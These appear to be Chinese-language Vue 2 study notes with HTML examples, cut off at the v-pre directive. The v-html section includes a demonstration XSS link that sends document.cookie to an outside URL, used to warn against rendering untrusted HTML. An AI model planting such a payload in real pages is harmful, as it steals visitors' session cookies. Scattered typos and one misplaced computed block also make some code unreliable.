Vue核心
Vue简介
-
概念:
-
Vue的特点
- 采用组件化模式,提高代码复用率、且让代码更好维护。
- 声明式编码,让编码人员无需直接操作DOM,提高开发效率。
- 使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点。
- 学习Vue之前要掌握的JavaScript基础知识? ES6语法规范
ES6模块化
包管理器
原型、原型链
数组常用方法
axios
promise
-
初识Vue:
- 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
- root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
- root容器里的代码被称为【Vue模板】;
- Vue实例和容器是一一对应的;
- 真实开发中只有一个Vue实例,并且会配合着组件一起使用;
- {xxx)}中的xxx要写s表达式,且xxx可以自动读取到data中的所有属性;
- 一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>初始Vue</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: 'World',
address: '北京'
}
})
</script>
</body>
</html>
Vue语法
Vue模板语法有2大类:
- 插值语法
功能:用于解析标签体内容。
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。 - 指令语法:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.···)
举例:v-bind:href="xxx"或简写为:href="xxx",xxx同样要写js表达式
且可以直接读取到data中的所有属性。
备注:Vue中有很多的指令,且形式都是:v-???,此处我们只是拿v-bind举个例子。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>模版语法</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div id="app">
<!-- 插值语法 -->
<h1>插值语法</h1>
<h1>{{message}}</h1>
<!-- 绑定属性 -->
<p v-bind:title="message">鼠标悬停几秒钟查看此处动态绑定的提示信息!</p>
<!-- 绑定事件 -->
<button v-on:click="reverseMessage">反转消息</button>
<!-- 绑定多个事件 -->
<button v-on:click="say('hi')">Say hi</button>
<!-- 指令语法 -->
<h1>指令语法</h1>
<a :href="school.url">点我去学习</a>
</div>
</div>
</body>
<script>
new Vue({
el: '#app',
data: {
message: 'Hello Vue!',
school: {
url: "http://www.atguigu.com"
}
},
methods: {
reverseMessage: function () {
this.message = this.message.split('').reverse().join('')
},
say: function (message) {
alert(message)
}
}
})
</script>
</html>
Vue数据绑定
Vue中有2种数据绑定的方式:
- 单向绑定(
v-bind
):数据只能从data流向页面。 - 双向绑定(
v-model
):数据不仅能从data流向页面,还可以从页面流向data。
备注:
双向绑定一般都应用在表单类元素上(如:
input
、select
等)
v-model:value
可以简写为v-model
,因为v-model
默认收集的就是value
值。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>数据绑定</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<!-- 普通写法 -->
<!-- 单向数据绑定:<input type="text" v-bind:value="name">
<br>
双向数据绑定:<input type="text" v-model:value="name">
<br> -->
<!-- 简写 -->
单向数据绑定:<input type="text" :value="name">
<br>
双向数据绑定:<input type="text" v-model="name">
<br>
<!-- 如下代码是错误的,因为v-mode1只能应用在表单类元素(输入类元素)上 -->
<!-- <h1 v-bind:x="name">你好啊</h1> -->
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: '张三'
}
})
</script>
</body>
</html>
data与el的2种写法
- el有2种写法
- new Vue时候配置el属性。
- 先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
- data有2种写法
- 对象式
- 函数式
如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
- 一个重要的原则:
由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>el和data的两种写法</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>你好啊,{{name}}</h1>
</div>
</body>
<script type="text/javascript">
//el的两种写法
/* const v = new Vue({
// el: '#root',//第一种写法
data: {
name: '张三'
}
})
v.$mount('#root')//第二种写法 */
// data的两种写法
const v = new Vue({
el: '#root',
//第一种写法:对象式
// data: {
// name: '张三'
// }
//第二种写法:函数式
data() {
console.log(this)//this指向Vue实例对象
return {
name: '张三'
}
}
})
</script>
</html>
MVVM模型
- M:模型(Model):对应data中的数据
- V:视图(View):模板
- VM:视图模型(ViewModel):Vue实例对象
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>理解MVVM</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>学校名称:{{name}}</h1>
<h1>学校地址:{{address}}</h1>
<h2>测试一下:{{$options}}</h2>
<h2>测试一下:{{$emit}}</h2>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: 'HIST',
address: '新乡'
}
})
</script>
</html>
Vue中的数据代理
- Vue中的数据代理:
通过vm对象来代理data对象中属性的操作(读/写) - Vue中数据代理的好处:
更加方便的操作data中的数据 - 基本原理:
通过Object.defineProperty()
把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性,都指定一个getter/setter。
在getter
,setter
内部去操作(读/写)data中对应的属性。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Vue中的数据代理</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
name: 'HIST',
address: '新乡'
}
})
</script>
</body>
</html>
事件处理
事件的使用
事件的基本使用:
- 使用正-on:xxx或@xxx绑定事件,其中xxx是事件名;
- 事件的回调需要配置在nethods对象中,最终会在vm上;
- methods中配置的函数,不要用箭头函数!否则this就不是vm了;
- methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象;
@click="demo"
和@click-="demo($event)"
效果一致,但后者可以传参;
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>事件的基本应用</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>欢迎大家来到{{name}}</h2>
<button v-on:click="showInfo">点我提示信息</button>
<button @click="showInfo2(66,$event)">点我提示信息</button>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: 'Vue'
}, methods: {
showInfo(event) {
alert('欢迎来到' + this.name)
},
showInfo2(number, event) {
console.log(event, number)
alert('欢迎来到' + this.name)
}
}
},
)
</script>
</body>
</html>
事件修饰符
Vue中的事件修饰符:
prevent
:阻止默认事件(常用);stop
:阻止事件冒泡(常用);once
:事件只触发一次(常用);capture
:使用事件的捕获模式;self
:只有event.target
是当前操作的元素是才触发事件;passive
:事件的默认行为立即执行,无需等待事件回调执行完毕;
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>事件修饰符</title>
<script type="text/javascript" src="../js/vue.js"></script>
<style>
* {
margin-top: 20px;
}
.demo1 {
height: 50px;
background-color: skyblue;
}
.box1 {
padding: 5px;
background-color: pink;
}
.box2 {
padding: 5px;
background-color: paleturquoise;
}
.list {
width: 200px;
height: 200px;
background-color: powderblue;
overflow: auto;
}
li {
height: 100px;
}
</style>
</head>
<body>
<div id="root">
<h2>欢迎大家来到{{name}}</h2>
<!-- 阻止默认事件(常用) -->
<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
<!-- 阻止事件冒泡(常用) -->
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
</div>
<!-- 事件只触发一次(常用) -->
<button @click.once="showInfo">点我提示信息</button>
<!-- 使用事件的捕获模式 -->
<div class="box1" @click="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">
div2
</div>
</div>
<!-- 只有event.target是当前操作的元素是才触发事件 -->
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
</div>
<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: 'Vue'
}, methods: {
showInfo(event) {
// event.stopPropagation();
alert('欢迎来到' + this.name)
},
showMsg(number) {
alert('欢迎来到' + this.name + number)
},
demo() {
for (let i = 0; i < 5; i++) {
console.log(i)
}
console.log('累坏了')
}
}
},
)
</script>
</html>
键盘事件
- Vue中常用的按键别名:
回车=>enter
则除=>delete(捕获"删除"和退格"键)
退出=>esc
空格=>space
换行=>tab
上=>up
下=>down
左=>1eft
右=>right
- Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为
kebab-case
(短横线命名) - 系统修饰键(用法特殊):
ctrl、alt、shift、meta
- 配合
keyup
使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。 - 配合
keydown
使用:正常触发事件。
- 配合
- 也可以使用
keyCode
去指定具体的按键(不推荐) Vue.config.keyCodes
自定义键名=键码,可以去定制按键别名
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>键盘事件</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>欢迎来到{{name}}</h2>
<input type="text" placeholder="按下回车提示输入" @keyup.huiche="showInfo"></input>
</div>
</body>
<script type="text/javascript">
Vue.config.keyCodes.huiche = 13
new Vue({
el: '#root',
data: {
name: 'Vue'
},
methods: {
showInfo(e) {
console.log(e)
if (e.keyCode !== 13) return
console.log(e.target.value)
}
}
},
)
</script>
</html>
计算属性
- 定义:要用的属性不存在,要通过已有属性计算得来。
- 原理:底层借助了
Objcet.defineproperty
方法提供的getter
和setter
。 - get函数什么时候执行?
- 初次读取时会执行一次。
- 当依赖的数据发生改变时会被再次调用。
- 优势:与
methods
实现相比,内部有缓存机制(复用),效率更高,调试方便。 - 备注:
- 计算属性最终会出现在vm上,直接读取使用即可。
- 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生变化
监视属性
监视属性watch:
- 当被监视的属性变化时,回调函数自动调用。
进行相关操作 - 监视的属性必须存在,才能进行监视!!
- 监视的两种写法:
new Vue
时传入watch配置- 通过
vm.$watch
监视
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>天气案例_监视属性</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
isHot: true
},
methods: {
changeWeather() {
this.isHot = !this.isHot
}
},
computed: {
info() {
return this.isHot ? '炎热' : '凉爽'
}
},
/* watch: {
isHot: {
immediate: true,//初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时
handler(newValue, oldValue) {
console.log('info被修改了', newValue, oldValue)
}
}
} */
})
vm.$watch('isHot', {
immediate: true,//初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时
handler(newValue, oldValue) {
console.log('info被修改了', newValue, oldValue)
}
})
</script>
</html>
深度监视
- Vue中的
watch
默认不监测对象内部值的改变(一层)。 - 配置
deep:true
可以监测对象内部值改变(多层)。
备注: - Vue自身可以监测对象内部值的改变,但Vue提供的watch.默认不可以!
- 使用watch时根据数据的具体结构,决定是否采用深度监视。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>天气案例_监视属性</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
isHot: true
},
methods: {
changeWeather() {
this.isHot = !this.isHot
},
computed: {
info() {
return this.isHot ? '炎热' : '凉爽'
}
},
watch: {
// 正常写法
/* isHot: {
immediate: true,//初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时
handler(newValue, oldValue) {
console.log('info被修改了', newValue, oldValue)
}
} */
// 简写
/* isHot(newValue, oldValue) {
console.log('info被修改了', newValue, oldValue)
} */
}
}
})
// 监听属性的写法
/* vm.$watch('isHot', {
immediate: true,
handler(newValue, oldValue) {
console.log('info被修改了', newValue, oldValue)
}
}) */
// 监听属性的简写
vm.$watch('isHot', function (newValue, oldValue) {
console.log('info被修改了', newValue, oldValue)
})
</script>
</html>
computed和watch
computed
和watch
之间的区别:
computed
能完成的功能,watch
都可以完成。watch
能完成的功能,computed
不一定能完成,例如:watch
可以进行异步操作。
两个重要的小原则:- 所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象。
- 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等),最好写成箭头函数,
这样this的指向才是vm或组件实例对象。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>姓名案例_watch实现</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
姓:<input type="text" v-model="firstName">
<br>
名:<input type="text" v-model="lastName">
<br>
姓名:<span>{{fullName}}</span>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三',
fullName: '张-三'
},
watch: {
firstName(newValue) {
setTimeout(() => {
this.fullName = newValue + '-' + this.lastName
}, 1000)
},
lastName(newValue) {
this.fullName = this.firstName + '-' + newValue
}
}
})
</script>
</html>
绑定样式
- class样式
写法:class="xxx"Xxx可以是字符串、对象、数组。
字符串写法适用于:类名不确定,要动态获取。
对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。 - style样式
:style=:"{fontsize:xxx)"
其中xxx是动态值。
:style="[a,b]"
其中a、b是样式对象。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>绑定样式</title>
<script type="text/javascript" src="../js/vue.js"></script>
<style>
.basic {
width: 100px;
height: 100px;
border: 1px solid black;
background-color: aqua;
}
.happy {
background-color: pink;
}
.sad {
background-color: azure;
}
.normal {
background-color: greenyellow;
}
.hist {
background-color: gray;
}
.hist2 {
border-radius: 10px;
}
.hist3 {
box-shadow: 10px;
}
</style>
</head>
<body>
<div id="root">
<!-- 绑定class样式-字符串写法,适用于:样式的类名不确上,需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
<!-- 绑定class样式--数组写法,适用于:类名不确定,需要动态指定 -->
<div class="basic" :class="classArr">{{name}}</div>
<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定、样式的类名确定,需要动态切换 -->
<div class="basic" :class="classObj">{{name}}</div>
<!--绑定style样式--对象写法-->
<div class="basic" :style="styleObj">嘻嘻</div>
<!--绑定style样式--数组写法-->
<div class="basic" :style="[styleArr]">嘻嘻</div>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: '张三',
mood: 'normal',
classArr: ['hist', 'hist2', 'hist3'],
classObj: {
happy: true,
sad: false,
normal: true
},
styleObj: {
fontsize: '40px',
color: 'red',
backgroundColor: 'orange'
},
styleObj2: {
backgroundColor: 'pink'
},
styleArr: [
{
fontsize: '40px',
color: 'red',
},
{
backgroundColor: 'pink'
}
]
},
methods: {
changeMood() {
const arr = ['happy', 'sad', 'normal']
const index = Math.floor(Math.random() * 3)
this.mood = arr[index]
}
}
})
</script>
</html>
条件渲染
条件渲染:
v-if
写法:v-if
="表达式"v-else-if
="表达式"v-else
="表达式"
适用于:切换频率较低的场景。
特点:不展示的DOM
元素直接被移除。
注意:v-if
可以和:v-else-if
、v-else
一起使用,但要求结构不能被"打断"。
v-show
写法:v-show
="表达式"
适用于:切换频率较高的场景。
特点:不展示的D0M元素未被移除,仅仅是使用样式隐藏掉- 备注:使用
v-if
的时,元素可能无法获取到,而使用v-show
一定可以获取到。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>条件渲染</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<!--使用V-show做条件渲染-->
<!--<h2 v-show="false">欢迎来到{{name}}</h2>-->
<!--<h2 v-show="1==1">欢迎来到{{name}}</h2>-->
<!--使用v-if做条件渲染-->
<!--<h2 v-if="false">欢迎来到{[name}}</h2>-->
<!--<h2 v-if="1==1">欢迎来到{{name}}</h2>-->
<!-- v-else和v-else-if -->
<!-- <div v-if="n===1">Angular</div>
<div v-else-if="n===1">React</div>
<div v-else-if="n===3">Vue</div>
<div v-else>哈哈</div> -->
<!--v-if与template的配合使用-->
<template v-if="n===1">
<h2>你好</h2>
<h2>尚硅谷</h2>
<h2>北京</h2>
</template>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
n: 0,
name: 'Vue'
}
})
</script>
</html>
列表渲染
基本列表
v-for指令:
- 用于展示列表数据
- 语法:v-for="(item,index)in xxx":key="yyy
- 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>基本列表</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<ul>
<li v-for="p in persons" :key="p.id">
姓名:{{p.name}},
年龄:{{p.age}}
</li>
</ul>
<!--遍历对象-->
<h2>汽车信息</h2>
<ul>
<li v-for="(a,b) of car">
{{a}}-{{b}}
</li>
</ul>
<!--遍历字符串-->
<h2>测试遍历字符串</h2>
<ul>
<li v-for="(char,index) of str" :key="index">
{{char}}-{{index}}
</li>
</ul>
<!--遍历指定次数-->
<h2>测试遍历指定次数<h2>
<ul>
<li v-for="(a,b) of 5">
{{a}}-{{b}}
</li>
</ul>
</div>
</div>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
persons: [
{
id: '001',
name: '张三',
age: 18
},
{
id: '002',
name: '李四',
age: 19
},
{
id: '003',
name: '王五',
age: 23
}
],
car: {
name: '奥迪A8',
price: '70万',
color: '黑色'
},
str: 'hello'
}
})
</script>
</html>
key的基本原理
面试题:react、vue中的key有什么作用?(key的内部原理)
- 虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当状态中的数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下: - 对比规则:
- 旧虚拟DOM中找到了与新虚拟DOM相同的key:
- 若虚拟DOM中内容没变,直接使用之前的真实DOM!
- 若虚拟DOM中内容变了,则生成新的真实D0M,随后替换掉页面中之前的真实DOM。
- 旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM,随后渲染到到页面。
- 旧虚拟DOM中找到了与新虚拟DOM相同的key:
- 用index作为key可能会引发的问题:
- 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新=>界面效果没问题,但效率低。 - 如果结构中还包含输入类的DOM:
会产生错误DOM更新=>界面有问题。
- 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
- 开发中如何选择key?:
- 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值。
- 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
使用index作为key是没有问题的。
列表过滤和排序
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>列表排序</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<button @click="sortType=2">年龄升序</button>
<button @click="sortType=1">年龄降序</button>
<button @click="sortType=0">原顺序</button>
<ul>
<li v-for="(p,index) in filPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
// 用computed实现
new Vue({
el: '#root',
data: {
keyWord: '',
sortType: 0, // 0:原顺序, 1:降序, 2:升序
persons: [
{ id: '001', name: '张三', age: 18, sex: '男' },
{ id: '002', name: '李四', age: 19, sex: '女' },
{ id: '003', name: '王五', age: 23, sex: '男' },
{ id: '004', name: '赵六', age: 16, sex: '女' }
]
},
computed: {
filPersons() {
// 1. 先过滤
const arr = this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1;
});
// 2. 再排序
if (this.sortType) {
arr.sort((a, b) => {
// 升序
if (this.sortType === 2) {
return a.age - b.age;
}
// 降序
else {
return b.age - a.age;
}
});
}
return arr;
}
}
})
</script>
</body>
</html>
Vue监视数据的原理:
- vue会监视data中所有层次的数据
- 如何监测对象中的数据?
通过setter实现监视,且要在new Vue
时就传入要监测的数据。- 对象中后追加的属性,Vue默认不做响应式处理
- 如需给后添加的属性做响应式,请使用如下API:
Vue.set(target,propertyName/index,value)
或
vm.$set(target,propertyName/index,value)
- 如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:- 调用原生对应的方法对数组进行更新。
- 重新解析模板,进而更新页面。
- 在Vue修改数组中的某个元素一定要用如下方法:
- 使用这些API:
push()
、pop()
、shift()
、unshift()
、splice()
、sort()
Vue.set()
或vm.$set()
特别注意:Vue.set()
和vm.$set()
不能给vm或vm的根数据对象添加属性!!!
- 使用这些API:
收集表单数据
若:<input type="text"/>
,则v-model
收集的是value
值,用户输入的就是value
值。
若:<input type="radio'"/>
,则v-model
收集的是value
值,且要给标签配置value
值。
若:<input type="checkbox"/>
- 没有配置
input
的value
属性,那么收集的就是checked
(勾选or未勾选,是布尔值) - 配置
input
的value
属性:v-model
的初始值是非数组,那么收集的就是checked
(勾选or未勾选,是布尔值)v-model
的初始值是数组,那么收集的的就是value
组成的数组
备注:v-model
的三个修饰符:
lazy
:失去焦点再收集数据
number
:输入字符串转为有效的数字
trim
:输入首尾空格过滤
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>收集表单数据</title>
<script type="text/javascript" src="../js/vue.js"></script>
<style>
* {
margin: 10px 0;
}
</style>
</head>
<body>
<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" v-model="account"><br>
密码:<input type="password" v-model="password"><br>
性别:
男<input type="radio" name="sex" v-model="sex" value="male">
女<input type="radio" name="sex" v-model="sex" value="female"><br />
爱好:
学习<input type="checkbox" v-model="hobby" value="study">
打游戏<input type="checkbox" v-model="hobby" value="game">
吃饭<input type="checkbox" v-model="hobby" value="eat"><br>
所属校区
<select>
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br>
其他信息:
<textarea v-model="other"></textarea><br /><br />
<input type="checkbox" v-model="agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
account: '',
password: '',
sex: 'female',
hobby: [],
city: 'beijing',
other: '',
agree: ''
},
methods: {
demo() {
console.log(this.account)
}
}
})
</script>
</html>
过滤器
定义:对要显示的数据进行特定格式化后再显示
(适用于一些简单逻辑的处理)
语法:
- 注册过滤器:
Vue.filter(name,callback
)或new Vue{filters:{}}
- 使用过滤器:{(xxx|过滤器名}}或v-bind:属性="xxx|过滤器名"
备注: - 过滤器也可以接收额外参数、多个过滤器也可以串联
- 并没有改变原本的数据,是产生新的对应的数据
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>过滤器</title>
<!-- 引入Vue.js -->
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
<!-- 引入dayjs -->
<script src="https://cdn.jsdelivr.net/npm/dayjs@1.11.7/dayjs.min.js"></script>
</head>
<body>
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- computed实现 -->
<h3>现在是:{{fmtTime}}</h3>
<!-- methods实现 -->
<h3>现在是:{{getFmtTime()}}</h3>
<!-- 过滤器实现 -->
<h3>现在是:{{time | fmtTime }}</h3>
<!-- 过滤器实现(传参) -->
<h3>现在是:{{time | fmtTime | mySlice}}</h3>
<!-- 修正语法错误 -->
<h3 :x="msg | mySlice">尚硅谷</h3>
</div>
<div id="root2">
<h2>{{msg | mySlice}}</h2>
</div>
</body>
<script>
// 全局过滤器
/* Vue.filters('mySlice', function (value) {
// 确保value存在且是字符串类型
if (!value || typeof value !== 'string') return value;
return value.slice(0, 4)
}) */
// 第一个Vue实例
new Vue({
el: "#root",
data: {
time: 1021052709425, // 时间戳
msg: '你好,Vue过滤器'
},
computed: {
// 计算属性格式化时间
fmtTime() {
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
methods: {
// 方法格式化时间
getFmtTime() {
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
filters: {
// 局部过滤器:格式化时间
fmtTime(value) {
return dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
}
// 注意:这里移除了与全局过滤器同名的mySlice,避免冲突
}
})
// 第二个Vue实例
new Vue({
el: "#root2",
data: {
msg: '全局过滤器也能在多个Vue实例中使用'
}
})
</script>
</html>
内置指令
学过的指令:
v-bind
:单向绑定解析表达式,可简写为:xxx
v-model
:双向数据绑定
v-for
:遍历数组/对象/字符串
v-on
:绑定事件监听,可简写为@
v-if
:条件渲染(动态控制节点是否存存在)
v-else
:条件渲染(动态控制节点是否存存在)
v-show
:条件渲染(动态控制节点是否展示)
v-text指令
v-text
指令:
- 作用:向其所在的节点中渲染文本内容。
- 与插值语法的区别:
v-text
会替换掉节点中的内容,{``{xx}}
则不会。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-text指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div>{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: '张三',
str: 'hello'
}
})
</script>
</html>
v-html指令
- 作用:向指定节点中渲染包含htm结构的内容。
- 与插值语法的区别:
v-html
会替换掉节点中所有的内容,{``{xx}}
则不会。v-html
可以识别html
结构。
- 严重注意:
v-html
有安全性问题!!!!- 在网站上动态渲染任意
HTML
是非常危险的,容易导致XSS
攻击。 - 一定要在可信的内容上使用
v-html
,永不要用在用户提交的内容上!
- 在网站上动态渲染任意
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-html指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: '小王',
str: '<h3>hello</h3>',
str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
}
})
</script>
</html>
v-cloak指令
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 使用css配合v-c1oak可以解决网速慢时页面展示出{{xxx}}的问题。
html
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-cloak指令</title>
<style>
[v-cloak] {
display: none;
}
</style>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
name: 'Vue'
}
})
</script>
</html>
v-once指令
v-once
所在节点在初次动态渲染后就视为静态内容了。- 以后数据的改变不会引起
v-once
所在结构的更新,可以用于优化性能。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-once指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-once>n的初始值是:{{n}}</h2>
<h2>当前n的值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
n: 1
}
})
</script>
</html>
v-pre指令:
- 跳过其所在节点的编译过程。
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>v-pre指令</title>
